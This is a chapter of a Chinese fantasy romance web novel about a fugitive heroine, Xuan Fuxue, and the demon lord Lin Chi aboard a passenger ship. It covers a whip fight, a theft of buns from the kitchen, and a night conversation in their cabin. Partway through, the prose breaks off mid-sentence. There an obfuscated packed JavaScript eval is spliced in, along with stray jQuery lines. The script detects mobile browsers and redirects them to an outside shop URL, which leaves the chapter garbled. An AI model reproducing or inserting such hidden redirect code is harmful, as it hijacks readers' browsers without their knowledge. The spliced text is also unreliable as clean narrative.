42. 夜谈
    眨眼间,乌明珠与络腮胡已经过了十数招。乌明珠接连几鞭子都被络腮胡挡下,不过对方也没落得什么好,两边斗了个平手。

    饶是在交战的间隙,络腮胡依旧不怀好意地祸水东引:“乌大小姐何必动怒,在下只是好心提醒。若是真让姓玄的妖女和那魔头混上了船,届时魔头发狂,船上岂不是人人自危?依在下看,还是先验过那带帷帽之人的真容——”

    谁料乌明珠居然事到临头改了主意,转而朝那络腮胡怒目而视:“她是本小姐看上的东西,要看不看也是本小姐做主,轮得到你插嘴?!本小姐现在偏偏就不想看了,而且你们也不许看!谁敢去掀她的帷帽,本小姐就让你们尝尝离火鞭的滋味!”

    玄负雪嘴角微抽,没想到竟然还是乌明珠替她说话......虽然这话说得属实并不好听。

    而乌明珠还在持续输出:“还有,你个大胡子一口一个姓玄的妖女,是在说玄负雪?”

    络腮胡微微一怔,下意识道:“在下长孙良,不知乌小姐——”

    他话没说完,直接被乌明珠打断了:“什么狗屁长孙良,根本没听过的名字!也配同本小姐说话?”

    任谁被这样当众奚落,脸上都挂不住。果不其然,长孙良的脸色骤然就阴沉下来,声音愈发粗哑了:“在下不知何处得罪了乌小姐,还请赐教。”

    顿了一下,长孙良又道:“可据在下所知,玄负雪与您并无故交,何故乌小姐要替她说话?”

    一旁听得津津有味的玄负雪无生摇头,心想这长孙良真是险恶心肠,他这话问出来,摆明了就是要挖坑让乌明珠跳,若是乌明珠不答,便是她仗势欺人、无事生非,可若是乌明珠答了,那就变成乌明珠与玄负雪妖女有旧、勾搭魔族,更大一个罪名扣了上来。

    反正左右都是陷阱,乌明珠也不知听没听出来,语气依旧很冲:“我与玄负雪什么关系,轮得到你管?!”

    又高高抬起下巴,眼神睥睨:“反正你们没资格说!”

    玄负雪听得哑然:这话怎么硬生生有种“只有我能说她”的既视感?

    她甩了甩头,不想再过多纠结。现下乌明珠同长孙良争执,对她倒是好事,趁着众人目光都转移了,现在不溜更待何时!

    玄负雪弯着腰,小心翼翼地贴着墙根,一路摸索到厨房门边,不期然却撞见了和她同样想法的人。

    是那个和长孙良一桌吃饭的少年。

    少年左右手各捏着一个巴掌大的白面馒头,怀里也鼓鼓囊囊,估计全是从厨房里偷出来的面点包子,嘴角挂着油腥肉屑,两颊还一动一动的。

    就这么饿么?

    明明他看起来又瘦又小,玄负雪已经算是个头娇小了,可这少年竟然比她还要再矮一个头,肩膀也更窄一半,竟然有这么大的食量。

    少年默不作声地抬头看了她一眼,又像只小老鼠似的无声无息溜出了厨房门。

    玄负雪踌躇片刻,还是按下了自己的好奇心,她还没忘了船舱客房里还有人在等着她呢。

    *

    回船舱的一路都很顺利,估计厨房的动静没传出来,深夜客船上的人都睡死了。

    玄负雪刚轻手轻脚推开木门,就听见凛迟满是不悦的声音:“你怎么这么久才回来?”

    语气里带着点鼻音,还有些幽怨,活像个被妻子抛弃在家苦守十年挖野菜的怨夫。

    玄负雪哑然,只能从怀里掏出逃跑时顺手拿的两个肉包子,隔空丢给他:“喏,刚出锅的梅菜扣肉包,你不是饿了么。”

    凛迟长臂一伸,接过油纸包,一口一个,迅速消灭了包子,重新又抬起头,眼珠一刻不错地盯着她:“你还没说你刚才去哪了,为什么好久才回来?”

    “......怎么吃还堵不上你的嘴。”玄负雪嘀咕,挪到床上刚躺下,视线里就出现了一张夹杂着委屈、憋闷、不悦的脸。

    玄负雪叹了口气,只好如实将厨房里的事情说了一遍。

    “......总而言之,如今便是这么个情况。”玄负雪托着腮,语气惆怅,“乌明珠可能盯上了我,还有那个长孙良,兴许之后还会找机会来试探我们的身份。接下来几日,直到客船落地见孤峰之前,我们还是小心谨慎行事,尽量别出门撞到人罢。”

    凛迟皱起眉头,却道:“长孙良叫你妖女?”

    怎么是这个反应?玄负雪刚点头,就一头雾水地看见他果断起身,朝门边走去。

    不得已,她又跳起来拽住他的胳膊:“你去哪?不是说了最好待在屋子里么。”

    凛迟板着脸,语气森寒:“我去杀了他。”

    玄负雪:......这又是为什么啊大哥!

    她努力从一团乱麻中摸清头绪:“杀他,呃,因为什么?他骂了我?”

    凛迟冷冷地瞥了她一眼,没吭声,显然是默认。

    玄负雪有些啼笑皆非,干脆上手捏他的脸,唬道:“不许去!”

    凛迟猝不及防脸颊被狠狠捏了一下,吃痛,眼里凶光毕露,然而转瞬即逝,又变为了一股蛮横的茫然和委屈,狠狠磨了一下后槽牙:“那我下船再杀他。”

    玄负雪无语地松开他:“他是骂了我一句,可也罪不至死。倒是你,动辄打杀,如今的杀性也太重了一些。”

    转念又想起来,凛迟如今入了魔,心性被魔气侵染,自然不可同日而语。何况在他没入魔之前便是天生地养,与野兽为伍,纲常伦理于他而言一贯无拘。

    凛迟没吭声,只是像只小尾巴一样跟在她身后,那样身高腿长、肩宽背阔的青年,此刻却像个犯错的稚童,耷拉着脑袋一声不响。

    玄负雪只能重新放缓了语气,循循善诱,试图让他明白道理:“且不说那长孙良。如今你我一道逃跑,算是一条绳上的蚂蚱了,世人多偏听偏信、以讹传讹,他们不知晓内情,只看表象,见你战败之际不惧死还要带上我,自然以为我们,嗯......情非泛泛。”

    她用手背贴了一下脸,努力忽视那股不自在的脸热,板起脸:“误会的人海了去,想必骂我妖女、正道叛徒的人也多了去,难不成你都要杀?”

    凛迟正色道:“但凡我见到了,见一个,我便杀一个。”

    玄负雪:......不愧是曾经执掌过酆都的大魔头,颇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736222|145118||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有雄心壮志。

    同这冥顽不灵的木头说不通,她心梗得不行,干脆重新躺回床上,闭眼缓一缓。

    凛迟在原地站了一会,轻手轻脚地也爬上了床,趴在她身侧半个手臂的距离,歪着脑袋,安静地看着她。

    一时间船舱内无人开口,唯有黄铜灯盏台上灯花偶尔燃爆,发出细微的“噼啪”响动。

    客船前往见孤峰之前,要先走水路三日,途径中站千寻云岭后再改换空路,接着五日飞行后便能到达北境。

    今夜过后,水路路程只剩三分之二,想来乌明珠会在千寻云岭下船,届时只剩一个长孙良,料他独木不成林,一个人也成不了什么气候。

    换言之,只要能熬过这三日,到时候还不是天高海阔凭鱼跃?

    玄负雪盘算得正好,只是身边的不定时炸弹还得多多提点,于是清了清嗓子,打破平静:“那个,你睡了么?”

    凛迟的声音低低的:“一直醒着。”

    一想到他可能始终睁着眼,一眨不眨地盯着自己,玄负雪就有种猎物被猛兽瞄准的不自在。

    “你一直盯着我做什么?”

    凛迟沉默了片刻,才道:“怕你又不见了。”

    玄负雪以为他是在说方才自己去厨房耽搁许久才回的事情,于是颇为不解:“这船就这么大,我还能去哪?”

    凛迟道:“可你总丢下我。”

    这下玄负雪再也忍不住,翻了个身,睁开眼,果不其然对上凛迟清明的视线。

    “我这回不会了。”玄负雪想了想,诚实道,“至少再查清二师兄身死和我被刺的真相之前,你得留在我身边。”

    唯一幸存的证人,她可得看紧了。

    凛迟安静地望了她一会,才道:“那之后呢?你打算把我怎么办?”

    玄负雪皱眉:“你这话好生奇怪。若是查清了当真不是你所为,那你就洗清嫌疑,我也不必再追着你复仇咯。与其问我,不如问问你自己想做什么。”

    说到这里,她来了兴致,撑起脑袋:“酆都城破,你是回不去了。可你既然入了魔,仙门必定也容不下你。其实我一直挺奇怪,你说你好好的一个魔尊,怎么会沦落到同我一块躲躲藏藏呢?”

    按照常理,不该是三十年河东三十年河西,莫欺少年穷,一朝落败后大佬卧薪尝胆,最终一举复出,将当初虎落平阳被犬欺时的屈辱统统报复回来?

    怎么凛迟现在看着,不仅丝毫没有杀回酆都的念头,也压根没表露出一丝对仙门联军的仇怨,反倒对现下境况甘之如饴似的。

    凛迟只反问:“同你一道,不好么?”

    玄负雪奇怪地看他一眼:“放着魔尊万人之上的荣华富贵不要,非要当个通缉犯,同我一块挤在客船的船舱里,朝不保夕,随波逐流?”

    凛迟抿嘴:“可我觉得,现在就是最好的。”

    他语气坚定,玄负雪反倒困惑了,终归只能自我解释,心道小狗的心思果然与人不通。

    正有一搭没一搭闲聊间,屋外突然一阵叫嚷慌乱。

    有人凄厉喊如杀猪:“来人啊!杀人了!是魔头啊啊啊!”